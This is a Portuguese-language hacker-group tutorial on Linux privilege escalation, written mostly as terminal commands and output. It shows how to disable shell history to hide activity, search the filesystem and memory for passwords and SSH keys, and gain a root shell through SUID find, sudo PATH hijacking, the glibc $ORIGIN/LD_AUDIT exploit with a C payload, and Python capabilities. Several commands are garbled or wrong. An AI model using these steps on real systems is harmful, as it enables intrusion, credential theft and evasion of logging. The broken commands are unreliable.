,----------------, ,---------,
,-----------------------, ," ,"|
," ,"| ," ," |
+-----------------------+ | ," ," |
| .-----------------. | | +---------+ |
| | | | | | -==----'| |
| | h4rry Presents | | | | | |
| | Linux Privesc | | |/----|`---= | |
| | root@7k > | | | ,/|==== ooo | ;
| | | | | // |(((( [33]| ,"
| `-----------------' |," .;'| |(((( | ,"
+-----------------------+ ;; | | |," - irc.efnet.org | g0t r00t!?
/_)______________(_/ //' | +---------+
___________________________/___ `,
/ oooooooooooooooo .o. oooo /, \,"-----------
/ ==ooooooooooooooo==.o. ooo= // ,`\--{)B ,"
/_==__==========__==_ooo__ooo=_/' /___________,"
`-----------------------------'
[ Linux Privilege Escalation / LPE ]
[*] Começando uma pós-exploração é importante não sobreescrever nenhum log no histórico do bash então começamos com...
ninja@7k > unset HISTFILE HISTSIZE # CASO ESTIVERMOS TRABALHANDO COM O zsh
ninja@7k > set history=0 # CASO ESTIVERMOS TRABALHANDO COM O tcsh
ninja@7k > set -o history # CASO ESTIVERMOS TRABALHANDO COM O bash
ninja@7k > unset HISTFILE # CASO ESTIVERMOS TRABALHANDO COM O ksh
[*] Logo após, é interresante termos em mente informações do sistema operacional como, versão do kernel / OS...
ninja@7k > cat /etc/*release* | head -n1
NAME="Arch Linux"
ninja@7k > uname -snrvmpi
[#] -snrvmpi porque eu e meus manos odiamos a porra do GNU, pau no cu do Stallman!
Linux ninja 6.0.2-arch1-1 #1 SMP PREEMPT_DYNAMIC Sat, 15 Oct 2022 14:00:49 +0000 x86_64 unknown unknown
(HORA DE GOOGLAR) Neste exato momento é interresante pesquisar por vulnerabilidades presentes na versão do kernel presente na maquina!
[*] É importante analisar os processos rodando na maquina para entender o ambiente que estamos trabalhando e suas permições para isso utilizamos o comando:
ninja@7k > ps -aux
[*] Filtre por processos de usuarios na maquina!
ninja@7k > ps -ef | grep "nome do usuário"
[*] Faça uma busca por binarios que rodem com permissões específica!
ninja@7k > find / -perm -4000 2>/dev/null
ninja@7k > find / -perm -u=s -type 2>/dev/null
[*] Liste os privilégios do usuário no ambiente!
# Como isso é algo gerenciado pelo sudo, caso o ambiente não tenha sudo você se depara com um erro.
ninja@7k > sudo -l
User ninja may run the following commands on 7k:
(ALL) ALL
[*] Procurando por passwords:
ninja@7k > grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
ninja@7k > find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
[*] Analisando o arquivo que contem senhas antigas:
ninja@7k > cat /etc/security/opasswd
[*] Procurando por arquivos editados recentemente:
ninja@7k > find / -mmin -30 2>/dev/null | grep -Ev "^/proc"
[*] Senhas na memória:
ninja@7k > strings /dev/mem -n10 | grep -i PASS
[*] Buscando por SSH Keys:
ninja@7k > find / -name authorized_keys 2> /dev/null
ninja@7k > find / -name id_rsa 2> /dev/null
[*] Listar arquivos por usuarios:
ninja@7k > grep "user" / -R 2>/dev/null
[ SUID & SGID ]
O que é SUID? SUID é basicamente uma permissão de su (superuser) para arquivos,
permite com que um programa seja executado com permissões de acesso do usuário logado,
o SUID também é definido para dar permissões temporárias para um usuário por exemplo,
executar um binário ou arquivo com as permissões do dono/proprietário do arquivo (geralmente perm root)...
O que é SGID? É o tipo especial de permissões aplicado a arquivos ou pastas.
Normalmente, quando um programa é executado, ele herda permissões de acesso do usuário logado atualmente.
Qual é a diferença entre Setuid e Setgid no Linux? Quando um processo é executado como um programa setuid,
o processo é executado como o superusuário (root) em vez do usuário normal.
Isso permite que o processo tenha mais acesso aos recursos do sistema e dificulta o controle do processo por outros usuários.
Quando um processo é executado como um programa setgid, o processo é executado como o usuário normal,
e as permissões do processo são definidas como as mesmas que as permissões do usuário.
Isso permite que outros usuários controlem o processo sem precisar alterar suas permissões.
[#] Portanto, fique atento ao exemplo abaixo como utilizamos do binário para alcançarmos o root...
ninja@7k > find / -perm /4000 2>/dev/null #findsuid
/usr/bin/find
/bin/mount
/bin/ntfs-3g
/bin/fusermount
/bin/ping
/bin/su
/bin/umount
/bin/ping6
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
[#] Neste ambiente é presente o find, e graças a ele alcançamos o root!
ninja@7k > find . -exec /bin/sh -p \; -quit
root@7k > whoami
root
[ PATH HIJACKING ]
Introduction → PATH é uma variável de ambiente em sistemas operacionais Linux e Unix que especifica que todos os diretórios bin e sbin que contêm todos os programas executáveis são armazenados.
Quando o usuário executa qualquer comando no terminal, ele solicita ao shell que procure arquivos executáveis com a ajuda da variável PATH em resposta aos comandos executados por um usuário.
O superusuário (su) geralmente também possui as entradas /sbin e /usr/sbin para executar facilmente os comandos de administração do sistema.
[+] Dito isso → No exemplo dado a abaixo, entendemos que nesta maquina havia a presença de um script rodando como root com NOPASSWD...
ninja@7k > sudo -l
User ninja may run the following commands on 7k:
(root) SETNV: NOPASSWD: /opt/cleanup.sh
( !APRESENTAREI 2 CAMINHOS PARA ALCANÇARMOS O ROOT! )
1° Técnica
[#] Rodando um Cat no script para a identificação...
ninja@7k > cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/ninja/7k
# clean up log files
if [ -s log/exemplo.log ] && ! [ -L log/exemplo.log ]
then
/bin/cat log/exemplo.log > log/exemplo.log.old
/usr/bin/truncate -s0 log/exemplo.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
ninja@7k > echo '#!/bin/bash' > /diretorio-no-qual-deseja-escrever-o-xpl/nome-da-função // OBS: > ESCREVE NA PRIMEIRA LINHA
ninja@7k > echo 'chmod +s /bin/bash' >> /diretorio-no-qual-deseja-escrever-o-xpl/nome-da-função // OBS: >> ESCREVE NA SEGUNDA LINHA ( caso tivesse que escrever alguma coisa na linha 3 seria >>> )
ninja@7k > chmod +x /diretorio-no-qual-esta-o-xpl/nome-da-função // OBS: (Concedendo permissão de execução ao exploit)
ninja@7k > cat /diretorio-no-qual-esta-o-xpl/nome-da-função
#!/bin/bash
chmod +s /bin/bash
ninja@7k > sudo PATH=/diretorio-no-qual-esta-o-xpl/:$PATH blablabla/blabla.sh
Como o script cleanup.sh está definido com NOPASSWD, ele não irá solicitar senha quando executado e como está com permissão de sudo...
ninja@7k > bash -p && #ROOT X)
2° Técnica
ninja@7k > sudo -l
User ninja may run the following commands on 7k
(root) SETNV: NOPASSWD: /opt/cleanup.sh
[#] Rodando um cat no script para a identificação...
ninja@7k > cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/ninja/7k
# clean up log files
if [ -s log/examplo.log ] && ! [ -L log/exemplo.log ]
then
/bin/cat log/examplo.log > log/exemplo.log.old
/usr/bin/truncate -s0 log/exemplo.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
[#] A melhor forma de conseguir root nesse caso é alterando o path da função find presente no final do script...
ninja@7k > touch find; echo > /bin/bash > find
[#] Logo após a criação do find, concedemos a permissão de execução a ele...
ninja@7k > chmod +x find
[#] E então adicionaremos a Home do user para Path...
ninja@7k > sudo $PATH=$PWD:$PATH /opt/cleanup.sh
ninja@7k > ./find; whoami
root
root@7k > echo "you've learned"
[ ORIGIN Expansion ]
Introduction → Origin Expansion é uma tecnica criada por tarviso mas ai você se pergunta...
O que é o ORIGIN? $ORIGIN é uma sequência de substituição ELF que representa a localização do
executável sendo carregado na hierarquia do sistema de arquivos(filesystem). A intenção é permitir
executáveis para especificar um caminho de pesquisa para bibliotecas que seja relativo a suas
localizações, para simplificar o empacotamento sem spam nos caminhos de pesquisa padrão com
bibliotecas de uso único.
O formato ELF sugere que $ORIGIN seja ignorado pelo SUID e SGID,
ou seja como a especificação é ignorada é possível que o usuário manipule os valores de SUID e SGID.
[#] Checkando se a versão é vulnerável...
ninja@7k > ldd --version
ldd (CentOS GLIBC 2.5-0CentOS5) 2.5
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
[#] Easy, neste caso o ambiente está vulnerável!
[#] É possível explorar essa falha para executar código arbitrário como root, segue a exploração ↓
[#] Crie um diretório que temos controle dentro de /tmp...
ninja@7k > mkdir /tmp/exploit
[#] Linkando para um binário suid, alterando assim a definição de $ORIGIN (no caso a origem).
ln /bin/ping /tmp/exploit/alvo
lr-x------ 1 ninja ninja 64 Dec 19 16:03 /proc/10836/fd/3 -> /tmp/exploit/alvo*
[#] Removendo o diretório criado anteriormente...
ninja@7k > rm -rf /tmp/exploit/
OBS → O link /proc ainda existe, mas agora será interpretado como excluído.
lr-x------ 1 ninja ninja 64 Dec 19 16:05 /proc/10836/fd/3 -> /tmp/exploit/alvo (deleted)
[#] Substitua o diretório por um DSO de carga útil, tornando $ORIGIN um destino válido para dlopen().
ninja@7k > cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
ninja@7k > gcc -w -fPIC -shared -o /tmp/exploit payload.c
ninja@7k > ls -l /tmp/exploit
-rwxrwx--- 1 ninja ninja 4.2K Oct 15 09:22 /tmp/exploit*
[#] Agora force o link em /proc para carregar $ORIGIN via LD_AUDIT.
ninja@7k > LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ninja@7k > whoami
root
ninja@7k > id
uid=0(root) gid=500(ninja)
PoC → https://www.exploit-db.com/exploits/15274
[ Linux Capabilities ]
Introduction → Os Capabilities são recursos do Linux que nos permitem dividir as permissões em pequenas unidades.
Com os Capabilities podemos definir a execução de tarefas determinadas com privilégios elevados (root).
[#] Binários com Capabilities podem ser encontrados usando o seguinte comando:
ninja@7k > getcap / -r 2>/dev/null
usr/bin/python3.1 = cap_setuid+ep
[#] No ambiente acima, podemos ver que o interpretador python pode definir arbitrariamente o ID do usuário do processo.
[#] Isso significa que podemos alterar nosso ID de usuário para 0 ao executar o python, assim escalando privilégio a root!
[#] Neste ambiente vemos a presença do Python e com ele iremos spawnar uma shell com root.
ninja@7k > python3.1 -c 'import os; os.setuid(0); os.system("/bin/bash -i")'
[#]Lista de todos os Capabilities possíveis podem ser encontradas no anexo abaixo ↓
https://man7.org/linux/man-pages/man7/capabilities.7.html
[ Unix Domain Sockets ]
Introduction → Um Unix Domain Socket permite a comunicação entre dois processos diferentes
na mesma máquina ou em máquinas diferentes em estruturas de aplicativos cliente-servidor.
É uma maneira de se comunicar entre computadores usando um arquivo de descritores Unix padrão.
[#] Bom senhores, eu infelizmente só irei introduzir Unix Domain Sockets por ser algo muito extenso...
[#] Para maior compreensão deixarei referencias de leitura, segue o anexo ↓
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-Ke-Unix-Domain-Socket-A-Hidden-Door.pdf
https://youtu.be/Zi7FKB2AU58
Então é isto, venho despedir-me obrigado pela leitura!
"Que ele se lembre de todas as tuas ofertas, e aprecie o teu holocausto!" - Salmos 20:3
G0T R00T!
<3 <3 <3
made by h4rry
for Templo7k :)